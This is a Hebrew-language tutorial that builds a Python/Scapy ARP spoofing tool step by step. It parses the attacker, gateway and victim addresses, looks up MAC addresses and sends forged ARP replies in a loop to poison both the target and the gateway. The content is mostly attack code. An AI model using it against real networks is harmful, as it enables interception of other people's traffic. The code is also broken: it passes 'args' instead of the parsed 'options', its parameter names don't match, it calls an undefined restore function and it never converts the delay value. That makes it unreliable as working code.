

ראשית כל נרצה לקלוט את הארגומנטים שלנו האינטרפייס המבוקש, הכתובת שאנחנו רוצים לתוקף, זמן ההשהייה בין ההודעות, הכתובת של ה-DGW וכן את כתובת הקורבן ונשלח הכל לתוכנית הראשית

```
if __name__ == "__main__":
    import argparse

    parser = argparse.ArgumentParser(description="Get some IP addresses.")
    # the first Command-line argument:
    parser.add_argument("-i", "--iface", dest="interface", help="Interface you wish to use")
    # the second Command-line argument:
    parser.add_argument("-s", "--src", dest="source_ip", help="The address you want for the attacker")
    #the third Command-line argument:
    parser.add_argument("-d", "--delay", dest="time", help="Delay (in seconds) between messages" )
    #the fourth Command-line argument:
    parser.add_argument("-g", "--gateway", dest="gateway_ip", help="IP Address of the Gateway.")
    # The 5th Command-line argument:
    parser.add_argument("-t", "--target", dest="target_ip", help="IP Address of the target.")

    # Convert the arguments for the appropriate type:
    options = parser.parse_args()

    if not options.target_ip:
        # Code to handle if an IP Address of the target is not specified.
        parser.error("[-] Please specify an IP Address of the target machine, use --help for more info.")

    elif not options.gateway_ip:
        # Code to handle if an IP Address of the gateway is not specified.
        parser.error("[-] Please specify an IP Address of the gateway, use --help for more info.")

    main(interface = args.interface, source_ip = args.source_ip, delay = args.time , gateway_ip = args.gateway_ip, target_ip = args.target_ip)
```

בהמשך התוכנית נצטרך פונקציה שמקבלת כתובת IP ומחזירה את כתובת ה-mac שלה

```
def get_mac(ip):
    """
    Takes the IP Address as an input and returns its MAC Address.
    :param ip: IP address.
    :return: The appropriate MAC address of this IP.
    """

    arp_req_frame = ARP(pdst=ip)
    broadcast_ether_frame = Ether(dst="ff:ff:ff:ff:ff:ff")
    broadcast_ether_arp_req_frame = broadcast_ether_frame / arp_req_frame
    answered_list = srp(broadcast_ether_arp_req_frame, timeout=1, verbose=False)[0]

    return answered_list[0][1].hwsrc
```

כעת נבנה פונקציה אשר מקבלת את שני כתובות פעם אחת המטרה ובפעם השנייה ה-GW שלו פה נעזר בפונקציה שרשמנו מקודם ונקבל את כתובת ה-mac המבוקשות וכשיש לנו אותן נבנה אותן עם הפרמטרים הרלוונטיים:

`op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip`  
וכעת נשלח את הפאקט

```
def spoof(target_ip, spoof_ip):  
    """  
    Fools both the access point and the victim.  
    """  
    # Get the MAC address of the target:  
    target_mac = get_mac(target_ip)  
    # Make an ARP response for the target and send that:  
    spoof_packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)  
    send(spoof_packet, verbose=False)
```

ועכשיו לעיקר הפונקציה

ראשית נקבל את הארגומנטים מהמשתמש ואז נבצע try

נקרא לפונקציה spoof עם הארגומנטים הרלוונטיים ברצף עם השהייה של מס שניות שאותם קיבלנו בהתחלה בכל פעם לפני ביצוע הקריאה הבאה.

```
def main(inter, sorce_ip, delay, gateway_ip, target_ip):  
    packets_sent = 0  
    try:  
        while True:  
            spoof(target_ip, sorce_ip)  
            spoof(gateway_ip, sorce_ip)  
            packets_sent += 2  
            print("\r[+] Packets Sent: {}".format(packets_sent), end="")  
            time.sleep(delay)  
    except KeyboardInterrupt:  
        print("\n[-] Detected Ctrl + C..... Restoring the ARP Tables..... Be Patient")  
        restore(target_ip, sorce_ip)  
        restore(gateway_ip, sorce_ip)
```